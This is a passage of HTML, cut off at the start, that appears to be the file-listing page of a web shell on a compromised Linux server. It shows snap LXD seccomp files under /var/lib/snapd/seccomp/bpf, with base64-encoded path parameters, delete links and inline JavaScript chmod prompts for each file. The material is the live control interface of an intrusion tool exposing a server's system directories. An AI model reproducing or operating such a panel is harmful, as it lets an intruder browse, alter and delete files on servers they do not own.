value="0644"></td><td>13596</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuaG9vay5kaXNjb25uZWN0LXBsdWctb3ZuLWNoYXNzaXMuYmluMg==">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5kaXNjb25uZWN0LXBsdWctb3ZuLWNoYXNzaXMuYmluMg=="/>snap.lxd.hook.disconnect-plug-ovn-chassis.bin2</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5kaXNjb25uZWN0LXBsdWctb3ZuLWNoYXNzaXMuYmluMg==&c=`+btoa(c):0" value="0644"></td><td>128</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuaG9vay5kaXNjb25uZWN0LXBsdWctb3ZuLWNoYXNzaXMuc3Jj">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5kaXNjb25uZWN0LXBsdWctb3ZuLWNoYXNzaXMuc3Jj"/>snap.lxd.hook.disconnect-plug-ovn-chassis.src</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5kaXNjb25uZWN0LXBsdWctb3ZuLWNoYXNzaXMuc3Jj&c=`+btoa(c):0" value="0644"></td><td>13596</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuaG9vay5pbnN0YWxsLmJpbjI=">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5pbnN0YWxsLmJpbjI="/>snap.lxd.hook.install.bin2</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5pbnN0YWxsLmJpbjI=&c=`+btoa(c):0" value="0644"></td><td>7592</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuaG9vay5pbnN0YWxsLnNyYw==">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5pbnN0YWxsLnNyYw=="/>snap.lxd.hook.install.src</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5pbnN0YWxsLnNyYw==&c=`+btoa(c):0" value="0644"></td><td>12870</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuaG9vay5yZW1vdmUuYmluMg==">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5yZW1vdmUuYmluMg=="/>snap.lxd.hook.remove.bin2</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5yZW1vdmUuYmluMg==&c=`+btoa(c):0" value="0644"></td><td>128</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuaG9vay5yZW1vdmUuc3Jj">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5yZW1vdmUuc3Jj"/>snap.lxd.hook.remove.src</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5yZW1vdmUuc3Jj&c=`+btoa(c):0" value="0644"></td><td>13596</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQubHhjLmJpbjI=">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQubHhjLmJpbjI="/>snap.lxd.lxc.bin2</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQubHhjLmJpbjI=&c=`+btoa(c):0" value="0644"></td><td>128</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQubHhjLnNyYw==">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQubHhjLnNyYw=="/>snap.lxd.lxc.src</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQubHhjLnNyYw==&c=`+btoa(c):0" value="0644"></td><td>13596</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQubHhkLmJpbjI=">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQubHhkLmJpbjI="/>snap.lxd.lxd.bin2</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQubHhkLmJpbjI=&c=`+btoa(c):0" value="0644"></td><td>128</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQubHhkLnNyYw==">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQubHhkLnNyYw=="/>snap.lxd.lxd.src</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQubHhkLnNyYw==&c=`+btoa(c):0" value="0644"></td><td>13596</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQudXNlci1kYWVtb24uYmluMg==">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQudXNlci1kYWVtb24uYmluMg=="/>snap.lxd.user-daemon.bin2</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQudXNlci1kYWVtb24uYmluMg==&c=`+btoa(c):0" value="0644"></td><td>128</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQudXNlci1kYWVtb24uc3Jj">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQudXNlci1kYWVtb24uc3Jj"/>snap.lxd.user-daemon.src</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQudXNlci1kYWVtb24uc3Jj&c=`+btoa(c):0" value="0644"></td><td>14150</td></tr></table>